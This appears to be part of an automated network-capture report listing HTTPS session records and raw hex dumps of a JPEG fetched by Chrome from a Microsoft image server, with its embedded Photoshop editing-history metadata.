55 7f 2b fb ab 9e 07 e5 5c 35 28 7d 6a b3 83 5a 2d 7d 7c 8c fe 29 5c 9d 26 17 17 97 52 5c 2a e2 49 e4 9e 49 a4 fe 2f f1 
3c d7 51 a0 d8 ea b6 3a a6 99 af cb 6d 3c fa 45 
Data Ascii: o`+sP\?b3WR{?uR:,Ea`QvLSloJemVc6%i$_M-<ma#{mQj5G Z{i16%FJ:WYX~]gxW?lU+\5(}jZ-}|)\&R\*II/
<Q:m<E

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 6071 IN Data Raw: b2 22 dd de ae 12 2f 25 32 bf 27 d1 ba f7 3d 68 a2 bd 5a 15 a5 4e 9f 32 4b 46 75 7b 38 3f 76 c7 07 e1 3f 86 da 
c7 88 6e 1a 7b a9 5b 4f f0 e6 9e d1 47 77 7d 22 fc 90 ab 1c 7e 2d d7 02 b5 f4 dd 42 e3 c0 5e 3c 9e ff 00 c1 91 cc d6 16 
2c 7c a9 e5 f9 9a e2 3e 84 bf d6 8a 2b aa 75 5d 4e 68 49 2b 58 f1 2a c5 42 2a c7 a2 c9 a4 dd fc 42 87 48 bf b3 5b 6d 23 
5a b6 90 cf 05 cc ec 57 cc 64 7d e1 59 bd 3d 0f e1 5e 87 1e 83 69 ae 69 3f db 5a ad f5 8d b5 d4 eb 70 b2 b4 0b f7 58 fc 
cd 1a 7d 0d 14 57 c9 d6 ab 39 4b d9 5f 44 f4 f9 98 39 39 c1 b6 fb 0c d1 7c 55 6d 6d a4 d9 db e9 9f f1 ea b1 08 f6 c7 18 dd 
22 7d 07 52 7b d3 3c 3b a6 e8 56 f3 4b 15 b6 d5 bd 86 57 b9 92 d9 98 a3 c8 bf c4 b8 e9 c1 3b 87 bd 14 56 55 20 a0 e4 
93 30 a6 bd de 6b ea 8d fb 7f 1a 3e a1 e2 4d 5e ce ef 
Data Ascii: "/%2'=hZN2KFu{8?v?n{[OGw}"~-B^<,|>+u]NhI+X*B*BH[m#ZWd}Y=^ii?ZpX}W9K_D99|Umm"}R{<;VKW;VU 
0k>M^

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 192.168.2.4 49875 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:49 UTC 2305 OUT GET /cms/api/am/imageFileData/RWP0UC?ver=2f44 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:46:49 UTC 2404 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP0UC?ver=2f44
Last-Modified: Sun, 15 May 2022 11:24:12 GMT
X-Source-Length: 1654488
X-Datacenter: northeu
X-ActivityId: eaf6d689-42e8-447e-9e5d-8d6296436362
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1654488
Cache-Control: public, max-age=257824
Expires: Sun, 29 May 2022 11:23:53 GMT
Date: Thu, 26 May 2022 11:46:49 GMT
Connection: close

2022-05-26 11:46:49 UTC 2404 IN Data Raw: ff d8 ff e1 14 ed 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 35 3a 33 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:55:388"

2022-05-26 11:46:49 UTC 2430 IN Data Raw: 44 6f 63 75 6d 65 6e 74 49 44 3d 22 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 31 31 
36 35 37 37 66 2d 35 37 35 64 2d 38 33 34 37 2d 39 38 64 36 2d 38 39 30 65 32 65 30 33 31 30 32 32 22 20 78 6d 70 4d 
4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 61 38 35 33 32 65 62 65 2d 
62 34 31 32 2d 34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 22 20 78 6d 70 4e 6f 74 65 3a 48 61 
73 45 78 74 65 6e 64 65 64 58 4d 50 3d 22 44 30 41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 31 
39 33 42 34 41 33 44 22 3e 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 65 72 73 3e 20 3c 72 64 66 3a 42 61 
67 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 
Data Ascii: DocumentID="adobe:docid:photoshop:f116577f-575d-8347-98d6-890e2e031022" xmpMM:OriginalDo
cumentID="xmp.did:a8532ebe-b412-4746-950b-2e11df3ff471" xmpNote:HasExtendedXMP="D0A399F4AEAC1D5236E6
C17A193B4A3D"> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:L

2022-05-26 11:46:49 UTC 2446 IN Data Raw: 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 65 72 73 74 6f 63 
6b 5f 33 35 33 34 31 36 30 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 37 2d 32 36 54 31 31 3a 30 33 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 
2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 37 33 34 31 30 36 31 5f 31 30 38 30 78 31 39 3
2 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 34 3a 33 36 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
Data Ascii: ge\_Crops\Edge-Lifestyle_shutterstock_353416007_1080x1920.jpg saved&#xA;2016-07-26T11:03:30-07:00&
#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-87341061_1080x1920.jpg 
saved&#xA;2016-07-26T11:04:36-07:00&#x9;File C:\Users\v

2022-05-26 11:46:49 UTC 2479 IN Data Raw: 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 37 2d 32 36 54 31 38 3a 32 34 3a 33 31 2d 30 37 3a 30 30 26 23 
Data Ascii: ved&#xA;2016-07-26T18:17:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:23:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:24:31-07:00&#
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2022-05-26 11:46:49 UTC 2586 IN Data Raw: 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 33 39 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 38 3a 35 30 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 0.jpg saved&#xA;2016-08-31T13:42:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x
1920_Portrait.psd saved&#xA;2016-09-12T10:26:08-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;20
16-09-12T10:28:50-07:00&#x9;File C:\Users\v-liz

2022-05-26 11:46:49 UTC 2626 IN Data Raw: 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 39 35 36 39 35 32 39 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 31 30 2d 31 37 54 31 38 3a 33 34 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 52 65 61 64 
69 6e 67 56 69 65 77 5f 4e 6f 64 69 73 74 72 61 63 74 69 6f 6e 73 2d 43 6f 6e 63 65 6e 74 72 61 74 69 6e 67 2d 46 6f 63 
75 73 2d 53 69 6d 70 6c 69 63 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 37 38 31 39 35 33 37 37 5f 31 30 38 30 78 
Data Ascii: ity\EdgeSurge-ReadingView_GettyImages-95695291_1080x1920.jpg saved&#xA;2016-10-17T18:34:53-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\ReadingView_Nodistractions-Concentrating-Focus-Sim
plicity\EdgeSurge-ReadingView_GettyImages-578195377_1080x

2022-05-26 11:46:49 UTC 2685 IN Data Raw: 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 36 32 30 39 32 38 32 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 
6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 34 39 35 38 37 35 5f 31 30 38 30 78 3
1 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 34 35 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: s10\Cortana\Cortana-Reminder_GettyImages-620928239_1080x1920.jpg saved&#xA;2016-11-14T15:55:37-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Cortana-Reminder_GettyImages-665495875_1080x1920.jpg 
saved&#xA;2016-11-14T15:55:45-08:00&#x9;File C:\Users

2022-05-26 11:46:49 UTC 2764 IN Data Raw: 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 
50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 
74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 30 
38 39 32 34 38 30 5f 31 30 38 30 78 31 39 32 30 45 36 44 39 31 43 44 33 36 38 33 31 39 46 44 30 32 34 37 46 39 43 34 
36 31 44 39 41 46 30 30 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 31 3a 31 
38 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 
Data Ascii: -lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-WinterEntertainment-Oscar
s_GettyImages-150892480_1080x1920E6D91CD368319FD0247F9C461D9AF007.psb saved&#xA;2017-01-20T11:18:59-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTi

2022-05-26 11:46:49 UTC 2796 IN Data Raw: 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 37 36 33 39 35 32 5f 31 30 38 30 78 31 39 32 30 2e 
6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 35 3a 30 33 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 45 64 67 65 5c 4e 41 41 45 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 34 38 34 30 30 36 30 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 36 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
Data Ascii: AEE_GettyImages-474763952_1080x1920.jpg saved&#xA;2017-02-23T09:45:03-08:00&#x9;File C:\Users\v-li
zagh\MS\Windows10\Edge\NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-484006054_1080x1920.jpg s
aved&#xA;2017-02-23T09:46:49-08:00&#x9;File C:\Users\v-lizagh\MS\Wi

2022-05-26 11:46:49 UTC 3011 IN Data Raw: 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 37 31 38 38 36 38 38 5f 31 30 38 30 78 31 
39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 31 31 3a 30 33 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 35 3a 31 36 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 
Data Ascii: t-April_GettyImages-517188688_1080x1920.jpg saved&#xA;2017-03-14T12:11:03-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-03-15T15:16:30-07:00&#x9;File Lockscree
n_1080x1920_Portrait.psd opened&#xA;2017-03-15T

2022-05-26 11:46:49 UTC 3083 IN Data Raw: 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 36 37 37 36 36 37 36 
5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 31 3a 
30 30 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 
6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 35 31 32 35 32 36 36 32 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 34 2d 31 38 54 31 31 3a 30 33 3a 31 31 2d 30 37 3a 30 
Data Ascii: mpoweringTools_GettyImages-486776676_1080x1920.jpg saved&#xA;2017-04-18T11:00:07-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-5
12526623_1080x1920.jpg saved&#xA;2017-04-18T11:03:11-07:0

2022-05-26 11:46:49 UTC 3131 IN Data Raw: 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 
69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 34 36 35 34 38 31 30 5f 31 30 38 30 78 31 39 32 30 
2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 33 30 3a 32 34 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 
6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 31 37 35 32 30 30 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 
Data Ascii: \MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn_GettyImages-144654810_1080x1920.jpg saved&#xA;2017-
05-15T15:30:24-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn
_GettyImages-571752001_1080x1920.jpg saved&#xA;2017-05-15

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 3194 IN Data Raw: 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 37 34 35 33 30 39 38 5f 31 30 
38 30 78 31 39 32 30 31 41 35 37 33 32 35 44 38 33 38 43 37 34 30 42 39 30 39 34 44 42 43 32 42 44 39 30 36 34 33 42 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 36 54 31 33 3a 30 37 3a 32 32 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 6
5 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 32 33 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 
Data Ascii: e-MSRewards_GettyImages-117453098_1080x19201A57325D838C740B9094DBC2BD90643B.psb 
saved&#xA;2017-06-06T13:07:22-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd 
saved&#xA;2017-06-07T08:23:48-07:00&#x9;File Lockscreen_1080x1920

2022-05-26 11:46:49 UTC 3242 IN Data Raw: 49 6d 61 67 65 73 2d 36 37 35 36 30 35 38 31 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 38 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 
64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 
77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 36 36 37 31 30 36 32 5f 31 30 38 30 78 31 39 
32 30 43 39 43 30 46 32 30 45 45 46 37 41 41 33 34 46 33 38 44 35 42 44 39 30 45 45 31 39 34 38 45 33 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 
Data Ascii: Images-675605811_1080x1920.jpg saved&#xA;2017-07-13T18:55-07:00&#x9;File C:\Users\v-lizagh\AppData
\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Windows10-Tips_GettyImages-106671062_1080x1920C9
C0F20EEF7AA34F38D5BD90EE1948E3.psb saved&#xA;2017-07-13T1

2022-05-26 11:46:49 UTC 3274 IN Data Raw: 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 70 65 6e 5c 43 68 6f 
73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 31 34 30 34 31 39 
39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 
38 3a 30 31 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 
72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
Data Ascii: :06-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-
USopen_GettyImages-814041990_1080x1920.jpg saved&#xA;2017-08-10T18:01:58-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;201

2022-05-26 11:46:49 UTC 3321 IN Data Raw: 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 
65 62 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 30 38 30 78 31 39 32 30 34 30 30 
46 36 30 35 46 36 32 36 46 31 37 44 34 44 32 45 44 35 33 38 33 37 45 32 39 44 30 46 45 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 37 3a 32 39 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 3
7 2d 30 38 2d 33 30 54 32 31 3a 33 31 3a 31 32 2d 30 37 3a 30 30 
Data Ascii: 17\AutoRecover\_HealthyLifestyle-Notebook_GettyImages-531607773_1080x1920400F605F626F17D
4D2ED53837E29D0FE.psb saved&#xA;2017-08-29T17:29:13-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lo
ckscreen_1080x1920_Portrait.psd saved&#xA;2017-08-30T21:31:12-07:00

2022-05-26 11:46:49 UTC 3361 IN Data Raw: 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 35 54 31 36 3a 30 31 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 
64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 35 54 31 36 3a 30 39 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 6
7 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 43 72 6
f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 6f 72 61 69 6e 
Data Ascii: kscreen_1080x1920_Portrait.psd saved&#xA;2017-10-25T16:01:33-07:00&#x9;File Lockscreen_1080x1920_P
ortrait.psd opened&#xA;2017-10-25T16:09:52-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\
Lock2017_Batch9\CHOSEN\Crops\Lock2017-B9_Morain

2022-05-26 11:46:49 UTC 3417 IN Data Raw: 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 
